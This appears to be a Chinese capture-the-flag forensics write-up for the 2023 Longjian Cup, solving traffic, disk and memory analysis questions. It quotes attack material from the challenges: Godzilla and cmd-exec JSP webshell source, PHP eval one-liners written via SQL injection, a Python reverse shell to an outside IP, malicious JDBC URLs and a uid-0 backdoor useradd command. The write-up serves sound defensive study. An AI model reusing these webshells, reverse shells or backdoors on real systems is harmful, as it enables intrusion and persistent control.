2023陇剑杯线上&线下赛数据分析

好久没打过比赛了，对于这种偏蓝方的比赛我还是很喜欢
本文首发于：先知社区：https://xz.aliyun.com/t/13177

HW

hard web_1

题目内容：服务器开放了哪些端口，请按照端口大小顺序提交答案，并以英文逗号隔开(如服务器开放了80 81 82 83端口，则答案为80,81,82,83)

打开流量包就能看到，192.168.162.188对192.168.162.180进行端口扫描

所以由此可以确定192.168.162.188是黑客IP。根据题目确定，如果端口开放，那么黑客发送带有SYN的TCP段报文，服务器会返回(SYN,ACK)的TCP段报文。
所以我们只需要寻找响应IP是服务器IP并且发送了(SYN,ACK)报文。
过滤器写法如下：

ip.src == 192.168.162.180 and tcp.connection.synack
ip.src == 192.168.162.180 and tcp.flags=0x012

可以看到前三个报文是扫描到开放端口返回的(SYN,ACK)报文，其他都是与80端口开放的服务进行通信

那么答案就是80,888,8888

hard web_2

问题内容：服务器中根目录下的flag值是多少？

因为看到了80端口开放，我们看看web服务发生了什么

可以看到黑客对web服务进行路径扫描，服务器返回了大量的404状态，因此我们通过过滤器语法http.request or http.response.code == 200查看黑客对服务器的请求以及（如果存在）web页面的响应

可以看到服务器存在一个test.jsp的webshell，黑客执行了一些命令，在最后查看了shell.jsp的内容

我们查看一下shell.jsp的内容，稍微代码美化一下可以得到如下

<%! String xc = "748007e861908c03";

    class X extends ClassLoader {
        public X(ClassLoader z) {
            super(z);
        }

        public Class Q(byte[] cb) {
            return super.defineClass(cb, 0, cb.length);
        }
    }

    public byte[] x(byte[] s, boolean m) {
        try {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    } %>
<%
    try {
        byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
        java.io.InputStream inputStream = request.getInputStream();
        int _num = 0;
        while ((_num += inputStream.read(data, _num, data.length)) < data.length) ;
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            f.equals(arrOut);
            f.equals(pageContext);
            f.toString();
            response.getOutputStream().write(x(arrOut.toByteArray(), true));
        }
    } catch (Exception e) {
    }
%>

可以看到这是未加密的哥斯拉JSP木马，key是748007e861908c03，那么可以通过解密脚本去解密流量，具体分析请看这里，这里放一下我自动提取哥斯拉木马的交互流量分析脚本和解密脚本。

# extract_pcap.py
import pyshark
import pickle

pcap = pyshark.FileCapture(
    "../hard_web.pcap", display_filter="http.request.uri==\"/shell.jsp\" or http.response.code == 200", tshark_path=R"D:\whitehat\tools\Wireshark\tshark.exe")

HTTPchat = {"req": [], "res": []}  # 创建请求和响应的字典


def get_file_data(pkt):  # 获取file_data
    if int(pkt.http.content_length) == 0:  # 检测是否有file_data
        return None
    if int(pkt.http.content_length) != len(pkt.http.file_data):  # 检测file_data内容是否完整
        reassmbledData = pkt.DATA.tcp_reassembled_data.binary_value if (
            "DATA" in pkt) else pkt.TCP.payload.binary_value
        Data = reassmbledData[reassmbledData.find("\r\n\r\n".encode())+4:]
        if int(pkt.http.content_length) == len(Data):  # 这段可以不用加，一般情况下都是完整的
            return Data
    else:
        return pkt.http.file_data.binary_value


for pkt in pcap:
    if int(pkt.number) < 24256:  # 跳到关键请求
        continue
    if pkt.http.chat.split(" ")[0] in ["GET", "POST"]:  # 检测是否是请求
        HTTPchat["req"].append(
            {pkt.number: get_file_data(pkt)})  # 添加请求数据
    if pkt.http.chat.split(" ")[0] in ["HTTP/1.1"]:  # 检测是否是响应
        HTTPchat["res"].append({pkt.http.request_in: get_file_data(pkt)})

pickle.dump(HTTPchat, open("HTTPchat.pkl", "wb"))  # 保存文件

# decrypt.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import pickle
import gzip


def decrypt(data):  # 解密
    xc = "748007e861908c03"
    xc = xc.encode("utf-8")
    cipher = AES.new(xc, AES.MODE_ECB)
    cipherResult = cipher.decrypt(data)
    cipherResult = unpad(cipherResult, AES.block_size)
    try:
        result = gzip.decompress(cipherResult).decode("utf-8")
    except Exception as e:
        print(e)
        result = cipherResult.decode(errors="ignore")
    return result


HTTPchat = pickle.load(open("HTTPchat.pkl", "rb"))  # 读取文件
for i in range(len(HTTPchat["req"])):
    req = list(HTTPchat["req"][i].values())[0]
    res = list(HTTPchat["res"][i].values())[0]
    if req == None or res == None:
        continue  # 第一次进行POST没有经过gzip，详细看https://xz.aliyun.com/t/10556
    print(decrypt(req), end="\n***************\n")
    print(decrypt(res), end="\n***************\n")

通过脚本解密后就会发现执行了flag的命令

那么答案就是flag{9236b29d-5488-41e6-a04b-53b0d8276542}

hard web_3

问题内容：该webshell的连接密码是多少？

通过之前了解到key是748007e861908c03，但是这个key是通过md5(密钥).substring(0,16)得到的，通过查看流量发现这个连接密码的格式如key = 1****y

理论上可以通过爆破来做，写个脚本看看

# brute.py
from hashlib import md5
import string
import itertools
import joblib as J


# 计算MD5
def calc_md5(s):
    hashMD5 = md5(s.encode()).hexdigest()
    if hashMD5[:16] == xc:
        print("Found key: ", s)


# 字符集
charset = string.ascii_lowercase + string.digits
# key = 1****y
xc = "748007e861908c03"
# 生成密码
passwords = ["1"+"".join(x)+"y" for x in itertools.product(charset, repeat=4)]
# 多线程跑
with J.parallel_backend("threading", n_jobs=-1):
    J.Parallel()(J.delayed(calc_md5)(x) for x in passwords)

最后爆破得到密码是14mk3y

SS

server save_1

题目内容：黑客是使用什么漏洞来拿下root权限的。格式为：CVE-2020-114514

题目给出了一个Linux系统所有文件的压缩包，和一个流量包。我们看流量包使用gobuster进行目录爆破，最后发现访问hello\greeting返回200，并且在Linux系统文件的根目录发现helloworld文件夹，进去发现pom.xml，直接google搜索关键词发现github仓库，链接在这里https://github.com/reznok/Spring4Shell-POC。

那么答案就显而易见的在github仓库里有介绍，那么答案就是：CVE-2022-22965

server save_2

题目内容：黑客反弹shell的ip和端口是什么，格式为：10.0.0.1:4444

继续通过流量包，我们看到最后一条记录看到执行了bash bbbb.sh：

在helloworld目录下发现bbbb.sh，内容如下，是个反弹shell的命令：

那么答案就是192.168.43.128:2333。

server save_3

题目内容：黑客的病毒名称是什么？ 格式为：filename

我们先从几个目录开始寻找，有如下几个目录需要注意：

• /usr/local/tomcat # 运行服务的目录
• /root # root用户目录
• /home # 普通用户目录

运行的服务目录知识看到了shell.jsp的内容，没有找到更有用的信息。

<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = in.read(b)) != -1) {
    out.println(new String(b));
}
%>

root用户下也没有什么有用的信息，但是可以看到/home下存在一个guest用户，进入看到有个main文件。

我们使用file命令看看是什么东西，看到是一个elf文件。

把main文件放到微步云沙箱里面再看看是不是病毒，发现是病毒。

那么答案就是main。

server save_4

题目内容：黑客的病毒运行后创建了什么用户？请回答用户名与密码：username:password

我们看到微步云沙箱对于病毒main的分析，看到执行了useradd的命令，将ll用户添加到root用户组中，并且使用的-p值是加盐"salt"的123456：$1$salt$638tR8bROOvPnPklDQ9Vf

useradd -p openssl passwd -1 -salt 'salt' 123456 ll -o -u 0 -g root -G root
应该转变为
useradd -p `openssl passwd -1 -salt 'salt' 123456` ll -o -u 0 -g root -G root

并且能在/etc/shadow文件中看到ll的用户信息：

那么答案就是ll:123456。

server save_5

服务器在被入侵时外网ip是多少? 格式为：10.10.0.1

在微步云沙箱也能看到这个病毒访问了ip-api.com/json/。

同时我们在guest目录下看到.log.txt可以看到查询IP172.105.202.239的信息，并且与一些入侵行为日志在一个文件，那么这个ip就是黑客的ip。

那么答案就是172.105.202.239。

server save_6

病毒运行后释放了什么文件？格式：文件1,文件2

我们可以看到.idea文件夹的时间在病毒运行后，并且在微云沙箱也存在相关文件释放的记录：

那么存在在.idea目录下的两个文件就是释放的文件。

答案：lolMiner,mine_doge.sh。

server save_7

矿池地址是什么？ 格式：domain:1234

查看mine_doge.sh文件，这是矿池的相关配置的文件。

那么答案就是doge.millpools.cc:5567。

server save_8

黑客的钱包地址是多少？格式：xx:xxxxxxxx

同7，黑客钱包答案是：DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9。

WS

Wireshark1_1

题目内容：被入侵主机的IP是？

打开可以看到这是个telnet服务的流量，直接输入telnet查看流量：

可以看到是192.168.246.1对192.168.246.28进行请求，那么telnet开在
192.168.246.28上面，那么答案就是192.168.246.28。

Wireshark1_2

题目内容：被入侵主机的口令是？

直接追踪TCP流可以看到密码是：youcannevergetthis：

那么答案就是youcannevergetthis。

Wireshark1_3

题目内容：用户目录下第二个文件夹的名称是？

追踪流可以看到黑客执行了ls命令，返回了文件夹内的文件，可以看到第二个文件是Downloads，其中例如[01;34m此类是颜色代码。

那么答案就是Downloads。

Wireshark1_4

题目内容：/etc/passwd中倒数第二个用户的用户名是？

还是追踪流，最后黑客执行了cat /etc/passwd，返回的倒数第二个用户名就是mysql，那么答案就是mysql。

IR

IncidentResponse_1

题目内容：你是公司的一名安全运营工程师，今日接到外部监管部门通报，你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合，你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。（虚拟机账号密码为：root/IncidentResponsePasswd）挖矿程序所在路径是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案）

题目给了个ova文件，我们用虚拟机打开，登录进去查看是个ubuntu系统，使用netstat -pantu查看对外开放的服务，发现有ssh，因为这个虚拟机本身很难用，所以进行一下网络配置我们登录ssh。然后我们还能看到mysql开放在127.0.0.1:3306，nginx服务开放在0.0.0.0:80上，127.0.0.1:8080上运行一个java程序，并且这个java程序还与mysql有交互。

最后在0.0.0.0:44448 0.0.0.0:47598开放了redis，这个服务比较奇怪。有以下几个原因：

• redis默认端口是6379，这个端口不是默认端口。
• redis默认不开放外网访问，这个服务开放了外网访问。
• redis本来是TCP服务，这个服务是UDP服务。
• 同时开放两个端口，并且开放端口会改变。

并且在root目录下存在.bash_history，我们可以查看执行过什么命令。

具体内容不列举了，大概如下：

• 能发现在/home/app下有个renren-admin.jar，并且启动在当前目录还有一个nohup.log日志。
• 对于nginx进行了配置，查看nginx的配置发现访问路径/renren-admin转发至http://127.0.0.1:8080/renren-admin，那么就可以说通启动的java程序和nginx的关系。

现在回到redis上，我们在/etc/redis上查看一下这个redis是怎么配置的，我们打开redis.conf发现这个不是正常的redis配置文件，并且在里面发现敏感词pools，WALLET等字样。

那么把这个redis-server提出来，放到微步云沙箱看看是不是挖矿软件。可以看到这个是xmrig挖矿软件。

那么这道题答案就是/etc/redis/redis-server=>6f72038a870f05cbf923633066e48881。

IncidentResponse_2

题目内容：挖矿程序连接的矿池域名是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案）

由第一问所见，矿池域名是donate.v2.xmrig.com，那么答案就是3fca20bb92d0ed67714e68704a0a4503。

IncidentResponse_3

题目内容：攻击者入侵服务器的利用的方法是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案）
题目提示：答案md5值前两位为3e

还是第一问所说，其实对外开放的服务只有nginx，nginx上挂了一个java程序，并且这个java程序还是输出日志nohup.log，查看日志是否有关键信息。日志包含一些renren-admin的启动信息，以及报错日志。可以看到存在大量的shiro序列化的报错信息。那么猜测黑客就是利用shiro的反序列化漏洞进行攻击利用的，那么答案就是shirodeserialization=>3ee726cb32f87a15d22fe55fa04c4dcd。

IncidentResponse_4

题目内容：攻击者的IP是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案）

除了第三问的nohup.log，还可以在之前的nginx配置文件中找到access_log和error_log的相关配置

那么查看这两个日志发现，这个81.70.166.3进行了大量的SQL注入测试和目录扫描。

那么攻击者的IP就是81.70.166.3=>c76b4b1a5e8c9e7751af4684c6a8b2c9。

IncidentResponse_5

题目内容：攻击者发起攻击时使用的User-Agent是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案）

同第4问，查看access.log能发现攻击者使用的UA，攻击者使用两种UA：

• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36`，
• Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
  

提交尝试两次即可，分别是44748ef7eb6e23c3aea256cf497157e6，6ba8458f11f4044cce7a621c085bb3c6

IncidentResponse_6

题目内容：攻击者使用了两种权限维持手段，相应的配置文件路径是？(md5加密后以a开头)（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案）

对于权限维持，常见的手段如连接所示https://bypass007.github.io/Emergency-Response-Notes/privilege/第4篇：Linux权限维持–后门篇.html。通过对比可以看到在/root/.ssh发现有id_rsa.pub和authorized_keys，并且authorized_keys创建时间比id_rsa.pub晚，那么可以猜测攻击者通过上传公钥并且将其更名为authorized_keys从而实现免密登录进行权限维持。

那么答案就是/root/.ssh/authorized_keys=>a1fa1b5aeb1f97340032971c342c4258。

IncidentResponse_7

题目内容：攻击者使用了两种权限维持手段，相应的配置文件路径是？(md5加密后以b开头)（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案）

权限维持可以查看crontab有没有定时任务，没有发现定时任务。

又回到之前的redis服务，服务开机自动启动并且还是不间断的重启，那么可能是服务设置问题，寻找服务文件。发现服务文件在/lib/systemd/system/redis.service。

查看内容可知，这个挖矿程序的不断重启就是由这个服务文件导致，这也是一种权限维持手段。

并且答案提示是b开头，那么答案就是/lib/systemd/system/redis.service=>b2c5af8ce08753894540331e5a947d35。

SSW

SmallSword_1

题目内容：连接蚁剑的正确密码是______________?（答案示例：123asd）

既然题目说明蚁剑，那么我们直接过滤http流，可以看到是一个sqlilab的网站，我们查看注入的语句，可以看到进行了写文件操作，将@@basedir等结果写入到2.txt。

GET /sqlii/Less-7/index.php?id=-1')) union select 1,@@basedir,@@datadir into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqlii\\Less-7\\2.txt" --  HTTP/1.1

并且请求了2.txt可以看到响应内容如下。

继续往下看，关注2988和3075这两个数据包，内容分别是：

# 2988
GET /sqlii/Less-7/index.php?id=-1')) union select 1,2,"<?php @eval($_POST["6ea280898e404bfabd0ebb702327b18f"]);?>" into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqlii\\Less-7\\1.php" HTTP/1.1

# 3075
GET /sqlii/Less-7/index.php?id=-1')) union select 1,2,"<?php @eval($_POST["6ea280898e404bfabd0ebb702327b18f"]);?>" into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqlii\\Less-7\\info1.php" HTTP/1.1

典型的一句话木马，将其写入至1.php和info1.php。但是这个写的有点问题，难怪后面的对于info1.php请求会返回404，存在这两点问题

• 首先没有加注释符，前面对于2.txt的写入时加了注释符-- ，应该加注释符
• 第二点就是没有对一句话木马里面的双引号进行转义，导致写入失败，应该将"转义为\"，或者是将双引号改成单引号。

并且后面对于info1.php的交互，返回的信息格式不是1 2 {执行结果}，但是密码没有改变。那么连接密码和本题的答案就是6ea280898e404bfabd0ebb702327b18f。

SmallSword_3

题目内容：攻击者下载到的flag是______________?(答案示例：flag3{uuid})

我们按照流量顺序来作题，继续往下看，我们看到这条流量读取了一个exe文件，如下图所示：

读取的文件名是huorong.exe，下载下来通过云沙箱发现，此exe释放了一个test.jpg。

打开发现存在PNG头，是个PNG文件，并且010editor运行模板发现存在CRC校验错误。

于是进行CRC高度爆破，更改高度为769，查看图片获得flag。

于是答案就是flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}。

SmallSword_2

攻击者留存的值是______________?(答案示例：d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

继续查看http流，在倒数第二个POST请求中，可以发现对hacker.txt写入了一个值，通过base64解码写入的值，可以看到是一个uuid。

那么答案就是YWQ2MjY5YjctM2NlMi00YWU4LWI5N2YtZjI1OTUxNWU3YTkxIA===>ad6269b7-3ce2-4ae8-b97f-f259515e7a91

EW

ez_web_1

题目内容：服务器自带的后门文件名是什么？（含文件后缀）

首先做个简单的配置，在wireshark中多加一列，字段为http.response_for.uri，如下图所示：

过滤所有的200状态的响应http.response.code == 200。这样就能看到响应与相应的请求URI。

查看HTTP流，能够看到攻击者使用后门文件，写个了d00r.php到服务器上。

因此题目答案是ViewMore.php

ez_web_2

题目内容：服务器内网IP是多少？

继续往下看，发现对d00r.php多次请求，挨个查看发现有一个ifconfig命令执行。

那么题目答案就是192.168.101.132

ez_web_3

题目内容：服攻击者往服务器中写入的key是什么？

继续往下查看流量包，发现执行了一个cat /passwd，返回结果是7e03864b0db7e6f9。在最后写入一个文件k3y_f1le，内容是一串base64字符串。

我们在本地执行一下这个命令。可以看到是一个ZIP文件。但是解压里面的key.txt文件需要密码，因此尝试密码7e03864b0db7e6f9。

key.txt内容是7d9ddff2-2d67-4eba-9e48-b91c26c42337，因此这道题答案就是7d9ddff2-2d67-4eba-9e48-b91c26c42337。

BF

baby_forensics_1

题目内容：磁盘中的key是多少？

题目文件夹内包含两个文件，分别是raw内存镜像，一个是vmdk虚拟机磁盘文件。

raw文件可以通过R-Studio和volatility进行分析，vmdk文件通过磁盘挂载或者是R-Studio打开。通过R-Studio发现这个磁盘被BitLocker加密。

那么通过网鼎杯2020的题《密码柜》找到BitLocker密码的方法，使用Elcomsoft Forensic Disk Decryptor，找到恢复密钥。

之后使用R-studio挂载镜像，使用找到的恢复密钥解开BitLocker。发现里面存在一个文件key.txt。

打开文件发现字符串E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d，然后最让人无语的地方来了，一直以为是flag，结果还是需要解码，使用随波逐流编码工具进行一键解码。找到是rot47编码：thekeyis2e80307085fd2b5c49c968c323ee25d5

那么这道题的答案就是2e80307085fd2b5c49c968c323ee25d5

baby_forensics_2

题目内容：电脑中正在运行的计算器的运行结果是多少？

使用volatility将其calc.exe导出,

python2 .\vol.py -f C:\Users\xxx\Desktop\ljb\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 pslist

python2 .\vol.py -f C:\Users\xxx\Desktop\ljb\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 memdump -p 2844 --dump-dir=./

并将其导出的文件更改为.data，使用GIMP打开，更改高度和偏移，发现计算器的图片。那么这道题的答案就是7598632541

baby_forensics_3

题目内容：该内存文件中存在的flag值是多少？

先看看有没有存在可疑的进程：

python2 .\vol.py -f C:\Users\xxx\Desktop\ljb\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 pslist

存在便签程序，那么使用filescan把便签的存在位置找一下，存放便签的后缀是.snt，然后将其导出。

之后放到win7便签相应的路径上，可以看到字符串U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==。

这个字符串疑似base64，解密后发现开头是Salted__，那么这是通过openssl的aes加密的，但是需要密钥才能解密。因此去R-Studio根据时间顺序寻找一下有没有密钥文件。

可以看到这个i4ak3y这个文件名比较可疑，打开看看，里面写的应该就是密钥qwerasdf

那么解密一下，那么这道题的答案就是flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}

TP

tcpdump_1

题目内容：攻击者通过暴力破解进入了某Wiki 文档，请给出登录的用户名与密码，以:拼接，比如admin:admin

打开流量包，过滤http看看有什么东西，发现172.31.0.1对172.31.0.2进行了目录扫描，并且服务器给的响应是JSON格式。
之后还对http://127.0.0.1:8080/login进行了爆破，那看看最后一条登录成功的显示是{"errCode":200}

那么应用过滤器json contains "200"找到登录成功的响应包

那么这道题的答案就是TMjpxFGQwD:123457

tcpdump_2

题目内容：攻击者发现软件存在越权漏洞，请给出攻击者越权使用的cookie的内容的md5值。（32位小写）

继续往后看，能够看到cookie键值对有个userid=2，这就是当前的权限值。

寻找看哪个包更改了userid值，可以看到42530包更改了userid为1

那么这道题的答案就是383c74db4e32513daaa1eeb1726d7255

tcpdump_3

题目内容：攻击使用jdbc漏洞读取了应用配置文件，给出配置中的数据库账号密码，以:拼接，比如root:123456

通过题目知道利用jdbc漏洞读取文件，所以就不能光看http的流量，查看TCP的流量。可以看到服务器连接了恶意mysql服务端jdbc:mysql://116.62.63.234:3307/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360 ，并且读取了/etc/passwd文件。

同样继续往下看，能够看到恶意mysql服务端让服务器读取了application.yml，在里面能找到数据库账号密码。

所以这道题的答案就是zyplayer:1234567

tcpdump_4

题目内容：攻击者又使用了CVE漏洞攻击应用，执行系统命令，请给出此CVE编号以及远程EXP的文件名，使用:拼接，比如CVE-2020-19817:exp.so

可以看下这个POST的数据是jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://116.62.63.234:9988/custom.dtd.xml

因为116.62.63.234就是之前恶意mysql服务端的IP，这个custim.dtd.xml的内容里面有个反弹shell的payload

那么就能确定这是新的攻击方式，经过搜索可知是CVE-2022-21724漏洞，恶意文件就是custom.dtd.xml。这道题的答案是CVE-2022-21724:custom.dtd.xml

tcpdump_5

题目内容：给出攻击者获取系统权限后，下载的工具的名称，比如nmap

之前了解到反弹shell的IP是116.62.63.234,那么过滤这个IP查看执行的命令，可以看到下载了fscan。那么这道题的答案就是fscan。

HD

hacked_1

题目内容：admIn用户的密码是什么？

过滤http流量，找到注册路由/register对于用户名密码的加密方式。

利用cyberchef进行解密流量，之后还进行了登录，登录会返回用户名。

通过这种方式定位到admIn用户。然后解密密码即可。

这道题的答案就是flag{WelC0m5_TO_H3re}。

hacked_2

题目内容：app.config[‘SECRET_KEY’]值为多少？

继续往下看，可以看到包里的返回内容存在SECRET_KEY，这道题的答案是ssti_flask_hsfvaldb

hacked_3

题目内容：flask网站由哪个用户启动？

继续往下看，因为爆出来了SECRET_KEY，可以把cookie内容解密。

可以看到执行的ssti攻击请求命令whomai，返回就是red。那么这道题的答案就是red。

hacked_4

题目内容：攻击者写入的内存马的路由名叫什么？（答案里不需要加/）

继续往下看就能看到对于添加路由的代码执行，然后后续也能看到访问了/Index，证明添加路由成功。

那么这道题的答案就是Index

半决赛

so_easy

so_easy_1

题目内容：登录的密码是多少，请输入md5加密的32位小写字符串

打开流量包看到是FTP流量，过滤ftp找到登录正确的用户名密码

这道题的答案就是md5(“test”)->098f6bcd4621d373cade4e832627b4f6

so_easy_2

题目内容：被加密的字符串是多少？

继续往下看流量，发现上传了个压缩包11.zip，这个先保存好，第三题会用到。后面上传了private_key.pem和public_key.pem，这两个文件内容分别是私钥和公钥。
又上传了个py.txt文件，是个加密函数的python脚本。

最后上传了encrypted.txt文件，这个就是加密后的文件。
那么根据提示就能做解密这个文件，用cyberchef解密一下。

所以这道题的答案是8dhn3edfna93rAPN

so_easy_3

题目内容：图片中隐藏的数字是多少？

之前说有个压缩包11.zip，解压出来是个bmp图片，打开发现图片不完整。

修复一下图片，这道题答案就是20230101

session

session-1

题目内容：通过注入得到的username是？

根据题目直接过滤http，又是老生常谈的先扫目录。后面能看到对于/upload的POST请求，对file参数进行SQL注入。

了解了一下大概的请求过程，确定注入的流量包序号范围，先确定这是一个盲注，注入成功是回显上传失败，注入成功回显是上传成功。

写个脚本跑一下，脚本如下：

# extract_pcap.py  v1.1
import pyshark

pcap = pyshark.FileCapture(
    "ss.pcapng", display_filter="http.request.uri==\"/upload\" or http.response.code == 200", tshark_path=R"D:\whitehat\tools\Wireshark\tshark.exe")

HTTPchat = {"req": {}, "res": {}}  # 创建请求和响应的字典


def get_file_data(pkt):  # 获取file_data
    Data = None  # 初始化Data
    if int(pkt.http.content_length) == 0:  # 检测是否有file_data
        return None
    if int(pkt.http.content_length) != len(pkt.http.file_data):  # 检测file_data内容是否完整
        reassmbledData = pkt.DATA.tcp_reassembled_data.binary_value if (
            "DATA" in pkt) else pkt.TCP.payload.binary_value
        Data = reassmbledData[reassmbledData.decode().find(
            "\r\n\r\n")+4:]
        if int(pkt.http.content_length) == len(Data):  # 这段可以不用加，一般情况下都是完整的
            # 在这里处理请求最后保存的数据
            Data = Data.splitlines()[3]
    else:
        Data = pkt.http.file_data  # 这里处理请求最后保存的数据
        Data = Data.splitlines()[3]

    return Data.decode()


def get_resp_data(pkt):
    # 这里处理响应的内容
    result = None  # 初始化Data
    if int(pkt.http.content_length) == 0:  # 检测是否有file_data
        return None
    if int(pkt.http.content_length) != len(pkt.http.file_data):  # 检测file_data内容是否完整
        reassmbledData = pkt.DATA.tcp_reassembled_data.binary_value if (
            "DATA" in pkt) else pkt.TCP.payload.binary_value
        result = reassmbledData[reassmbledData.decode().find(
            "\r\n\r\n")+4:]
        if int(pkt.http.content_length) == len(result):
            # 在这里处理响应最后保存的数据
            if "上传成功".encode() in result:
                result = 0
            else:
                result = 1

    return result


for pkt in pcap:
    if int(pkt.number) < 8231:
        continue
    if int(pkt.number) > 26584:
        break
    if pkt.http.chat.split(" ")[0] in ["GET", "POST"]:  # 检测是否是请求
        HTTPchat["req"][pkt.number] = get_file_data(pkt)
    if pkt.http.chat.split(" ")[0] in ["HTTP/1.1"]:  # 检测是否是响应
        HTTPchat["res"][pkt.http.request_in] = get_resp_data(pkt)

# 寻找响应=1的请求
for key in HTTPchat["res"]:
    if HTTPchat["res"][key] == 1:
        print(key, HTTPchat["req"][key])

脚本把所有响应是上传失败的的跑出来，得到的结果是用户名为adminadmin111，密码是123456asdf。
这道题的答案就是adminadmin111

session-2

题目内容：除了root用户，还有哪个用户含有root权限。

再往下看就是命令执行，能够看到读取了/etc/passwd。

可以看到test用户的第三列是0，那么这道题的答案就是test。

session-3

题目内容：通过debug读取的哪个文件没有找到（绝对路径）？

这个session-3和session-2，个人觉得这个应该是写反了，因为这个session-3的答案是在session-2之前。

可以看到命令执行首先读取了/etc/1，返回结果报错没有这个文件，因此这道题的答案就是 /etc/1。

session-4

题目内容：通过什么命令反弹的shell，提交md5加密的32位小写字符串。

在流量的最后面，可以看到分别用了三种方式反弹shell，/bin/sh，nc和python pty方式。

但是只有最后一种方式反弹成功，其余两种都报了语法错误。具体命令是

import os,pty,socket;s=socket.socket();s.connect(("172.16.127.1",3333));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")

所以这道题答案是7b75e76b64a25bd3d04ea82880c6d462

easy_shiro

easy_shiro-1

题目内容：shiro key是什么?

这道题给了日志文件，可以看到经典的shiro特征，rememberMe=deleteMe;。shiro攻击就是反序列化，反序列化肯定包含java这个关键字。

通篇找下来没有发现key，那就只剩爆破的方法了。结果还没有shiro的密码本，正在一筹莫展的时候发现fscan有一个shiro-key.yml。里面存放着一些常用的shiro key。

并且还有一个go写的加密脚本，依葫芦画瓢写了个python的解密脚本。这方面解密还参考了这篇文章Shiro反序列化分析带思路及组件检测笔记

from Crypto.Cipher import AES
import base64

with open("key.txt") as f:
    key = f.readlines()
    key = [x.strip() for x in key]
    f.close()

encrypted = "Iz28dfd1...." # 寻找到响应状态200的请求，找到rememberMe的值
encryptedDecode = base64.b64decode(encrypted)

for k in key:
    kDecode = base64.b64decode(k)
    cipher = AES.new(kDecode, AES.MODE_CBC)
    decrypted = cipher.decrypt(encryptedDecode)
    if b"java" in decrypted:
        print(k)
        print(decrypted.decode("utf-8", errors="ignore"))
        break

因此这道题答案就是4AvVhmFLUs0KTA3Kprsdag==

easy_shiro-2

题目内容：溯源攻击者的操作，其中有flag。

当时做这个题的时候没有思路，我先想的是先把所有的能base64解码的全部解码了，然后看看有什么特征注意的。发现倒数第二条数据POST一个user键值，于是解码发现是java class文件。

反编译发现是冰蝎马。那么把最后一条POST上去的数据解密看看。

可以看到flag，但是交到第二题答案不对。那么肯定第二题答案就在前面两条数据里。

前面两条唯一有用的就是rememberMe=...;。把之前的解密的序列化数据保存好，命名为decrypted_1。跟之前user的class文件做一下对比，发现文件头不一样并且开头是AC ED（后续赛题复盘学习了下shiro关于cookie生成的流程，改了下之前代码的iv，具体流程查看第一篇参考文献），并且发现这是java序列化后的开头标识符。具体的序列化格式可以参考这篇文章SerializationDumper辅助研究ysoserial URLDNS反序列化原理。

当时比赛是想的是你想执行代码，肯定是class形式的，那么直接找文件头看看有没有，就把user的class文件头CA FE BA BE拿过来在decrypted_1文件里面找，发现还真有。

于是把CA FE BA BE之后都复制出来，重命名为class文件放到IDEA里面反编译，一眼就能看到不一样的东西。

于是把这个数组运算用python写一下。返回的结果是cmd.exe /C "echo flag{6dfdc384d6025b2ab9b71ec15971aa11}"

var21 = [118, 120, 113, 59, 112, 109, 112, 53, 58, 86, 53, 55, 112, 118, 125, 122, 53, 115, 121, 116, 114, 110, 35, 113, 115, 113,
         118, 38, 45, 33, 113, 35, 37, 39, 32, 119, 39, 116, 119, 44, 119, 34, 36, 112, 118, 36, 32, 44, 34, 36, 116, 116, 36, 36, 104, 55]
var22 = []

for i in var21:
    var22.append(chr(i ^ 21))

print("".join(var22))

